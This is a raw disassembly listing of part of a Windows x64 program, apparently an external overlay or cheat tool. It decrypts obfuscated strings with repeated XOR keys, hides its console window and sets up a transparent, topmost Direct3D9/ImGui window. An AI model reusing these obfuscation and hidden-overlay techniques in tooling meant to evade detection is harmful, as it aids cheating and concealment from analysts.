xor byte [rdx + 6], 0x25
xor byte [rdx + 7], 0x1f
xor byte [rdx + 8], 0xeb
xor byte [rdx + 9], 0x43
xor byte [rdx + 0xa], 0x61
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0x3b
xor byte [rdx + 0xd], 0x31
xor byte [rdx + 0xe], 0x25
xor byte [rdx + 0xf], 0x1f
xor byte [rdx + 0x10], 0xeb
xor byte [rdx + 0x11], 0x43
xor byte [rdx + 0x12], 0x61
xor byte [rdx + 0x13], 0xb5
xor byte [rdx + 0x14], 0x3b
xor byte [rdx + 0x15], 0x31
xor byte [rdx + 0x16], 0x25
xor byte [rdx + 0x17], 0x1f
mov byte [rdx + 0x18], r12b
mov rcx, rsi
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x3a0]
call fcn.14003fcb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce980]
mov rsi, rax
mov ecx, 0x3b8
mov dword [rbp + 0x398], 0x6dca4c4c
mov dword [rbp + 0x39c], 0x9b57d5c3
mov edi, 0x188
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003bf88
or eax, 1
mov byte [rbx + rdi + 0x18], 1
mov dword [rcx + rbx], eax
lea rdx, [rbp + 0x39f]
lea rax, [rbx + rdi]
lea rcx, [rax + 0x17]
cmp rax, rdx
ja 0x14003bf6c
lea rdx, [rbp + 0x388]
cmp rcx, rdx
jb 0x14003bf6c
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x398]
movsd qword [rax + 0x10], xmm0
jmp 0x14003bf7c
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x398]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x1400a9b40]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x18], r12b
lea rdx, [rbx + rdi]
je 0x14003bff6
xor byte [rdx], 0x3f
xor byte [rdx + 1], 0x3b
xor byte [rdx + 2], 0xa5
xor byte [rdx + 3], 0x1f
xor byte [rdx + 4], 0xa7
xor byte [rdx + 5], 0xef
xor byte [rdx + 6], 0x77
xor byte [rdx + 7], 0x9b
xor byte [rdx + 8], 0x3f
xor byte [rdx + 9], 0x3b
xor byte [rdx + 0xa], 0xa5
xor byte [rdx + 0xb], 0x1f
xor byte [rdx + 0xc], 0xa7
xor byte [rdx + 0xd], 0xef
xor byte [rdx + 0xe], 0x77
xor byte [rdx + 0xf], 0x9b
xor byte [rdx + 0x10], 0x3f
xor byte [rdx + 0x11], 0x3b
xor byte [rdx + 0x12], 0xa5
xor byte [rdx + 0x13], 0x1f
xor byte [rdx + 0x14], 0xa7
xor byte [rdx + 0x15], 0xef
xor byte [rdx + 0x16], 0x77
xor byte [rdx + 0x17], 0x9b
mov byte [rdx + 0x18], r12b
mov rcx, rsi
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x3c0]
call fcn.14003fcb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce990]
mov rsi, rax
mov eax, 0x2e8
mov dword [rbp + 0x338], 0x5cf43f86
mov word [rbp + 0x33c], 0x99db
mov edi, 0x458
mov ecx, dword [rax + rbx]
test cl, 1
jne 0x14003c0c4
or ecx, 1
mov byte [rbx + rdi + 0x17], 1
mov dword [rax + rbx], ecx
lea rdx, [rbp + 0x33e]
lea rcx, [rbx + rdi]
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x14003c09d
lea rdx, [rbp + 0x328]
cmp rax, rdx
jb 0x14003c09d
mov eax, dword [rbp + 0x338]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x33c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], Ordinal_143
jmp 0x14003c0b8
mov eax, dword [rbp + 0x338]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x33c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], Ordinal_143
lea rcx, [0x1400a9b10]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x17], r12b
lea rdx, [rbx + rdi]
je 0x14003c12e
xor byte [rdx], 0xe3
xor byte [rdx + 1], 0x51
xor byte [rdx + 2], 0x87
xor byte [rdx + 3], 0x39
xor byte [rdx + 4], 0xe1
xor byte [rdx + 5], 0xb9
xor byte [rdx + 6], 0x8d
xor byte [rdx + 7], 0x91
xor byte [rdx + 8], 0xe3
xor byte [rdx + 9], 0x51
xor byte [rdx + 0xa], 0x87
xor byte [rdx + 0xb], 0x39
xor byte [rdx + 0xc], 0xe1
xor byte [rdx + 0xd], 0xb9
xor byte [rdx + 0xe], 0x8d
xor byte [rdx + 0xf], 0x91
xor byte [rdx + 0x10], 0xe3
xor byte [rdx + 0x11], 0x51
xor byte [rdx + 0x12], 0x87
xor byte [rdx + 0x13], 0x39
xor byte [rdx + 0x14], 0xe1
xor byte [rdx + 0x15], 0xb9
xor byte [rdx + 0x16], 0x8d
mov byte [rdx + 0x17], r12b
mov rcx, rsi
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x3e0]
call fcn.14003fcb0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x5e8]
call fcn.140001dd0
lea rdx, [rbp + 0x3c0]
mov rdi, rax
lea rcx, [rbp + 0x608]
call fcn.140001dd0
lea rdx, [rbp + 0x3a0]
mov rbx, rax
lea rcx, [rbp + 0x628]
call fcn.140001dd0
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140034500
mov r13, qword [rbp + 0x3f8]
mov rdx, qword [rbp + 0x198]
mov byte [0x14011cd05], 1
cmp rdx, 0xf
jbe 0x14003c1e5
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c1e0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c2aa
call fcn.1400a4dac
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], r12b
cmp r13, 0xf
jbe 0x14003c235
mov rcx, qword [rbp + 0x3e0]
lea rdx, [r13 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c230
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c2aa
call fcn.1400a4dac
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 0xf
jbe 0x14003c272
mov rcx, qword [rbp + 0x3c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c26d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003c2aa
call fcn.1400a4dac
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14003c2b6
mov rcx, qword [rbp + 0x3a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c2b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c2b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a4dac
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x140]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [0x140031ba0]
mov dword [rbp + 0xf0], 0x50
xor ecx, ecx
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xf4], 0x40
mov qword [rbp + 0x100], r12
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x138], r12
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0xf0]
mov rax, qword [0x14011d038]
xorps xmm1, xmm1
mov qword [rbp + 0x130], rax
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmmword [rbp + 0x120], xmm1
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rcx, qword [rbp + 0x108]
mov r9d, 0x80000000
mov eax, dword [rbp + 0x14c]
cdq
mov qword [rsp + 0x58], r12
sub eax, edx
mov qword [rsp + 0x50], rcx
sar eax, 1
mov ecx, 0x80000
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 0x12e
lea r8d, [rax - 0x97]
mov dword [rsp + 0x30], 0x192
mov eax, dword [rbp + 0x148]
cdq
mov dword [rsp + 0x28], r8d
mov r8, qword [0x14011cd98]
sub eax, edx
mov rdx, qword [0x14011d038]
sar eax, 1
sub eax, 0xc9
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r9d, 1
xor r8d, r8d
mov rcx, rax
mov qword [0x14011d080], rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rbx, qword [0x14011d080]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x14011d088], rax
mov rcx, rax
test rax, rax
je 0x14003ea13
lea rdx, [0x14011d090]
mov qword [0x14011d0a0], r12
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14011d0a0]
mov qword [0x14011d0ac], r12
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [0x14011d0b4], r12d
mov qword [0x14011d0bc], r12
mov dword [0x14011d0c4], r12d
mov qword [0x14011d0d4], r12
lea r8d, [rdx + 1]
mov dword [0x14011d0c8], 1
mov dword [0x14011d0b8], 1
mov dword [0x14011d0a8], r12d
mov dword [0x14011d0cc], 1
mov dword [0x14011d0d0], 0x50
mov dword [0x14011d0dc], 0x80000000
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14003ea0c
mov rcx, qword [0x14011d080]
movaps xmmword [rsp + 0x810], xmm7
movaps xmmword [rsp + 0x800], xmm8
movaps xmmword [rsp + 0x7f0], xmm9
movaps xmmword [rsp + 0x7e0], xmm10
movaps xmmword [rsp + 0x7d0], xmm11
movaps xmmword [rsp + 0x7c0], xmm12
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [0x14011d080]
xor r9d, r9d
mov dword [rsp + 0x30], 3
xor r8d, r8d
mov dword [rsp + 0x28], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x14011cd08]
test rax, rax
je 0x14003c51a
inc dword [rax + 0xec]
mov ecx, 0x61e8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14003c536
xor edx, edx
mov rcx, rax
call fcn.140002460
jmp 0x14003c539
mov rax, r12
cmp qword [0x14011cd08], r12
jne 0x14003c549
mov qword [0x14011cd08], rax
mov rcx, rax
call fcn.140008360
mov rsi, qword [0x14011d080]
lea rcx, [rbp + 0x290]
mov rbx, qword [0x14011cd08]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceFrequency]
test eax, eax
je 0x14003c6bd
lea rcx, [rbp + 0x288]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
test eax, eax
je 0x14003c6bd
mov rax, qword [0x14011cd08]
test rax, rax
je 0x14003c59b
inc dword [rax + 0xec]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14003c5c8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14003c5cb
mov rdi, r12
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x80], rax
mov qword [rbx + 0x90], rdi
mov rbx, r12
mov qword [rdi], rsi
mov byte [rdi + 0x2d], 1
mov rax, qword [rbp + 0x290]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x288]
mov qword [rdi + 0x18], rax
mov rax, qword [0x14011cd08]
mov dword [rdi + 0x28], 9
mov rcx, qword [rax + 0x4040]
mov rax, qword [rcx]
mov qword [rax + 0x28], rsi
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x180], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x188], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x190], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x198], rax
lea rax, str.xinput1_1.dll
mov qword [rbp + 0x1a0], rax
nop word [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x180]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14003c691
inc rbx
cmp rbx, 5
jl 0x14003c670
jmp 0x14003c6bd
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rbx, qword [0x14011cd08]
mov rdi, qword [0x14011d090]
test rbx, rbx
je 0x14003c6d6
inc dword [rbx + 0xec]
mov ecx, Ordinal_41
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14003c705
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
mov dword [rax + 0x20], 0x1388
mov dword [rax + 0x24], 0x2710
jmp 0x14003c708
mov rax, r12
or dword [rbx + 0xc], 8
lea rcx, str.imgui_impl_dx9
mov qword [rbx + 0x88], rcx
mov rcx, rdi
mov qword [rbx + 0x98], rax
mov qword [rax], rdi
mov rax, qword [rdi]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword gs:[0x58]
lea r15, [0x140000000]
movss xmm7, dword [0x1400ce480]
xorps xmm0, xmm0
movss xmm10, dword [0x1400ce41c]
movabs r14, 0x649534e0000
movss xmm8, dword [0x1400ce544]
xorps xmm6, xmm6
mov rsi, qword [rax]
movss xmm11, dword [0x1400ce430]
movss xmm12, dword [0x1400ce440]
movss xmm9, dword [0x1400ce54c]
movups xmmword [rbp + 0x648], xmm0
mov r13d, 0x24c
movups xmmword [rbp + 0x658], xmm0
mov edi, 0x2b8
movups xmmword [rbp + 0x668], xmm0
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x648]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14003c7f0
lea rcx, [rbp + 0x648]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x648]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14003e7b7
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14003ea03
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x150], reloc.WS2_32.dll_sendto
call fcn.14003f540
mov rbx, qword [0x14011cd08]
movaps xmm0, xmmword [0x1400ce860]
movaps xmm1, xmmword [0x1400ce800]
movaps xmm2, xmmword [0x1400ce650]
movups xmmword [rbx + 0x3850], xmm0
movaps xmm0, xmmword [0x1400ce750]
movups xmmword [rbx + 0x3860], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x1400ce780]
movups xmmword [rbx + 0x3870], xmm0
movups xmmword [rbx + 0x3880], xmm0
movups xmmword [rbx + 0x3890], xmm0
xorps xmm0, xmm0
movups xmmword [rbx + 0x38b0], xmm0
movaps xmm0, xmmword [0x1400ce7b0]
movups xmmword [rbx + 0x38c0], xmm1
movaps xmm1, xmmword [0x1400ce640]
movups xmmword [rbx + 0x38d0], xmm0
movaps xmm0, xmmword [0x1400ce750]
movups xmmword [rbx + 0x38e0], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x1400ce740]
movups xmmword [rbx + 0x38f0], xmm0
movups xmmword [rbx + 0x3900], xmm0
movups xmmword [rbx + 0x3910], xmm0
movaps xmm0, xmmword [0x1400ce660]
movups xmmword [rbx + 0x3920], xmm1
movaps xmm1, xmmword [0x1400ce790]
movups xmmword [rbx + 0x3930], xmm0
movaps xmm0, xmmword [0x1400ce7e0]
movups xmmword [rbx + 0x3940], xmm1
movaps xmm1, xmmword [0x1400ce810]
movups xmmword [rbx + 0x3950], xmm0
movaps xmm0, xmmword [0x1400ce840]
movups xmmword [rbx + 0x3960], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x1400ce780]
movups xmmword [rbx + 0x3970], xmm0
movups xmmword [rbx + 0x3980], xmm0
movaps xmm0, xmmword [0x1400ce830]
movups xmmword [rbx + 0x3990], xmm0
movaps xmm0, xmmword [0x1400ce7b0]
movups xmmword [rbx + 0x39b0], xmm0
movaps xmm0, xmmword [0x1400ce760]
movups xmmword [rbx + 0x39a0], xmm1
movaps xmm1, xmmword [0x1400ce640]
movups xmmword [rbx + 0x39d0], xmm0
movaps xmm0, xmmword [0x1400ce640]
movups xmmword [rbx + 0x39c0], xmm1
movaps xmm1, xmmword [0x1400ce780]
movups xmmword [rbx + 0x39f0], xmm0
movaps xmm0, xmmword [0x1400ce7f0]
movups xmmword [rbx + 0x39e0], xmm1
movaps xmm1, xmmword [0x1400ce6b0]
movups xmmword [rbx + 0x3a10], xmm0
movups xmmword [rbx + 0x3a20], xmm1
movaps xmm1, xmmword [0x1400ce670]
xorps xmm0, xmm0
movups xmmword [rbx + 0x3a30], xmm0
movaps xmm0, xmmword [0x1400ce6b0]
movups xmmword [rbx + 0x3a40], xmm1
movaps xmm1, xmmword [0x1400ce690]
movups xmmword [rbx + 0x3a50], xmm0
movaps xmm0, xmmword [0x1400ce6a0]
movups xmmword [rbx + 0x3a60], xmm1
movaps xmm1, xmmword [0x1400ce770]
movups xmmword [rbx + 0x3a70], xmm0
movaps xmm0, xmmword [0x1400ce710]
movups xmmword [rbx + 0x3a80], xmm1
movaps xmm1, xmmword [0x1400ce750]
movups xmmword [rbx + 0x3a90], xmm0
movaps xmm0, xmmword [0x1400ce820]
movups xmmword [rbx + 0x3aa0], xmm1
movaps xmm1, xmmword [0x1400ce7a0]
movups xmmword [rbx + 0x3ab0], xmm0
movups xmmword [rbx + 0x38a0], xmm2
movups xmmword [rbx + 0x3a00], xmm2
movups xmmword [rbx + 0x3ac0], xmm1
movaps xmm0, xmmword [0x1400ce6f0]
movaps xmm1, xmmword [0x1400ce6e0]
mov dword [rbx + 0x37bc], 0x40133333
mov dword [rbx + 0x37f8], 0x40133333
movups xmmword [rbx + 0x3ad0], xmm0
movaps xmm0, xmmword [0x1400ce630]
movups xmmword [rbx + 0x3ae0], xmm1
movaps xmm1, xmmword [0x1400ce840]
movups xmmword [rbx + 0x3b40], xmm0
movaps xmm0, xmmword [0x1400ce850]
movups xmmword [rbx + 0x3b50], xmm1
movaps xmm1, xmmword [0x1400ce680]
movups xmmword [rbx + 0x3b60], xmm0
movaps xmm0, xmmword [0x1400ce610]
movups xmmword [rbx + 0x3b70], xmm1
movaps xmm1, xmmword [0x1400ce620]
movups xmmword [rbx + 0x3b80], xmm0
movups xmmword [rbx + 0x3b90], xmm1
mov dword [rbx + 0x3788], 0x40a00000
mov dword [rbx + 0x378c], 0x40000000
test rbx, rbx
je 0x14003cac5
inc dword [rbx + 0xec]
mov ecx, 0x61e8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14003cae1
xor edx, edx
mov rcx, rax
call fcn.140002460
jmp 0x14003cae4
mov rax, r12
cmp qword [0x14011cd08], r12
jne 0x14003caf4
mov qword [0x14011cd08], rax
mov rcx, rax
call fcn.140008360
mov rax, qword [0x14011cd08]
lea rdx, [rbp + 0x60]
xorps xmm2, xmm2
movups xmmword [rbp - 0x20], xmm2
mov dword [rbp - 0x18], 3
mov qword [rax + 0x20], r12
xor eax, eax
mov rcx, qword [rbx + 0x50]
mov qword [rbp + 0x50], rax
mov eax, 0xffff
movups xmmword [rbp + 0x20], xmm2
mov word [rbp + 0x24], ax
lea rax, [0x1400e0110]
movups xmmword [rbp - 0x30], xmm2
mov byte [rbp - 0x24], 1
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x10], xmm2
mov dword [rbp - 0x14], 1
movaps xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x14], 0x7f7fffff
movaps xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [rbp + 0x50]
mov dword [rbp + 0x20], 0x3f800000
movaps xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0xb0], xmm1
mov qword [rbp + 0x60], rax
movaps xmmword [rbp + 0x80], xmm2
movaps xmmword [rbp + 0x90], xmm2
movaps xmmword [rbp + 0xc0], xmm2
movaps xmmword [rbp + 0xd0], xmm2
movsd qword [rbp + 0xe0], xmm0
mov dword [rbp + 0x68], 0x3baf4
mov dword [rbp + 0x74], 0x41600000
call fcn.1400240a0
mov rax, qword [0x14011cd08]
test rax, rax
je 0x14003cbd3
mov rcx, qword [rax + 0x98]
jmp 0x14003cbd6
mov rcx, r12
cmp qword [rcx + 0x18], r12
jne 0x14003cbf7
test rax, rax
je 0x14003cbf7
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14003cbf7
cmp qword [rcx], r12
je 0x14003cbf7
call fcn.140029340
call fcn.140029c70
call fcn.140007170
movss xmm2, dword [0x14011bddc]
ucomiss xmm2, xmm7
movss xmm1, dword [0x14011d118]
movss xmm0, dword [0x14011d100]
jp 0x14003cc42
jne 0x14003cc42
comiss xmm1, xmm6
jb 0x14003cc42
comiss xmm6, xmm0
jb 0x14003cc42
addss xmm1, xmm10
movss dword [0x14011d100], xmm6
movaps xmm0, xmm6
movss dword [0x14011d118], xmm1
comiss xmm7, xmm2
jb 0x14003cc6b
comiss xmm1, xmm7
jb 0x14003cc6b
ucomiss xmm0, xmm6
jp 0x14003cc6b
jne 0x14003cc6b
addss xmm2, xmm8
movss dword [0x14011d118], xmm7
movaps xmm1, xmm7
movss dword [0x14011bddc], xmm2
comiss xmm6, xmm2
jb 0x14003cc96
ucomiss xmm1, xmm7
jp 0x14003cc96
jne 0x14003cc96
comiss xmm0, xmm6
jb 0x14003cc96
addss xmm0, xmm10
movss dword [0x14011bddc], xmm6
movaps xmm2, xmm6
movss dword [0x14011d100], xmm0
jmp 0x14003cc9d
ucomiss xmm2, xmm6
jp 0x14003ccbf
jne 0x14003ccbf
comiss xmm7, xmm1
jb 0x14003ccbf
comiss xmm0, xmm7
jb 0x14003ccbf
addss xmm1, xmm8
movss dword [0x14011d100], xmm7
movaps xmm0, xmm7
movss dword [0x14011d118], xmm1
comiss xmm2, xmm6
jb 0x14003cce8
comiss xmm6, xmm1
jb 0x14003cce8
ucomiss xmm0, xmm7
jp 0x14003cce8
jne 0x14003cce8
addss xmm2, xmm10
movss dword [0x14011d118], xmm6
movaps xmm1, xmm6
movss dword [0x14011bddc], xmm2
comiss xmm2, xmm7
jb 0x14003cd0e
comiss xmm1, xmm6
jb 0x14003cd0e
comiss xmm7, xmm0
jb 0x14003cd0e
addss xmm0, xmm8
mov dword [0x14011bddc], 0x3f800000
movss dword [0x14011d100], xmm0
mov rax, qword [0x14011cd08]
mov edx, 0x47c
mov ebx, edx
or dword [rax + 0x3f40], 0x43
mov qword [rax + 0x3f50], r12
mov qword [rax + 0x3f58], r12
mov dword [rax + 0x3f44], 2
mov dword [rax + 0x3f60], 0x43c80000
mov dword [rax + 0x3f64], 0x43960000
mov dword [rax + 0x3f48], 1
mov dword [rax + 0x3fa0], 0x3f800000
mov eax, 0x1fc
mov ecx, eax
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003cd89
or eax, 1
mov word [rdx + rsi], 0x1eb
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9af0]
call fcn.1400a562c
cmp byte [rbx + rsi + 1], r12b
lea rcx, [rbx + rsi]
je 0x14003cd9b
xor byte [rcx], 0xeb
mov byte [rcx + 1], r12b
mov r8d, 0xc212e
lea rdx, [0x14011bdd8]
call fcn.14000cb10
mov eax, 0x16c
mov ecx, eax
mov edx, 0x2d8
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003cdf2
or eax, 1
mov dword [rdx + rsi + 0xa], 0x1c7c908
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9ad0]
mov dword [rdx + rsi], 0xda05d1f8
mov dword [rdx + rsi + 4], 0x4f52aa2
mov word [rdx + rsi + 8], 0xc7b7
call fcn.1400a562c
cmp byte [rbx + rsi + 0xd], r12b
lea rdx, [rbx + rsi]
je 0x14003ce34
xor byte [rdx], 0x99
xor byte [rdx + 1], 0xbf
xor byte [rdx + 2], 0x71
xor byte [rdx + 3], 0xb3
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0x49
xor byte [rdx + 6], 0x9d
xor byte [rdx + 7], 0x6b
xor byte [rdx + 8], 0x99
xor byte [rdx + 9], 0xbf
xor byte [rdx + 0xa], 0x71
xor byte [rdx + 0xb], 0xb3
xor byte [rdx + 0xc], 0xc7
mov byte [rdx + 0xd], r12b
movss xmm0, dword [0x14011bddc]
lea rcx, [rbp - 0x40]
movss xmm1, dword [0x14011d118]
subss xmm0, xmm11
subss xmm1, xmm12
mov dword [rbp - 0x34], 0x3f800000
movss dword [rbp - 0x40], xmm0
movss xmm0, dword [0x14011d100]
movss dword [rbp - 0x38], xmm0
movss dword [rbp - 0x3c], xmm1
call fcn.14002d5b0
mov rcx, qword [0x14011cd08]
mov rax, qword [rcx + 0x3e38]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x3e38]
cmp byte [rax + 0x93], r12b
jne 0x14003ceab
movaps xmm1, xmm9
mov qword [rbp - 0x60], r12
lea rcx, [rbp - 0x60]
call fcn.140010380
mov eax, dword [r13 + rsi]
mov ebx, edi
test al, 1
jne 0x14003ced9
or eax, 1
mov dword [rbx + rsi + 4], 0x1e3bb43
lea rcx, [0x1400a9aa0]
mov dword [r13 + rsi], eax
mov dword [rbx + rsi], 0x165116b2
call fcn.1400a562c
cmp byte [rbx + rsi + 7], r12b
lea rax, [rbx + rsi]
je 0x14003cf03
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
xor byte [rax + 4], 0x33
xor byte [rax + 5], 0xcf
xor byte [rax + 6], 0xe3
mov byte [rax + 7], r12b
mov qword [rbp + 0x688], rax
mov eax, 0x488
mov ecx, eax
mov edx, 0x480
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003cf44
or eax, 1
mov word [rdx + rsi + 5], 0x1cf
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9a80]
mov dword [rdx + rsi], 0xb5012a6
mov byte [rdx + rsi + 4], 0x5b
call fcn.1400a562c
cmp byte [rbx + rsi + 6], r12b
lea rax, [rbx + rsi]
je 0x14003cf6a
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
xor byte [rax + 4], 0x33
xor byte [rax + 5], 0xcf
mov byte [rax + 6], r12b
mov qword [rbp + 0x690], rax
mov eax, 0x2a8
mov ecx, eax
mov edx, 0x470
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003cfaa
or eax, 1
mov word [rdx + rsi + 3], 0x17f
mov dword [rcx + rsi], eax
lea rcx, [0x1400a9a60]
mov word [rdx + rsi], 0x27b5
mov byte [rdx + rsi + 2], 0x7b
call fcn.1400a562c
cmp byte [rbx + rsi + 4], r12b
lea rax, [rbx + rsi]
je 0x14003cfc8
xor byte [rax], 0xe1
xor byte [rax + 1], 0x7d
xor byte [rax + 2], 0x23
xor byte [rax + 3], 0x7f
mov byte [rax + 4], r12b
mov qword [rbp + 0x698], rax
mov eax, 0x4b4
mov ecx, eax
mov edx, 0x404
mov ebx, edx
mov eax, dword [rax + rsi]
test al, 1
jne 0x14003d009
or eax, 1
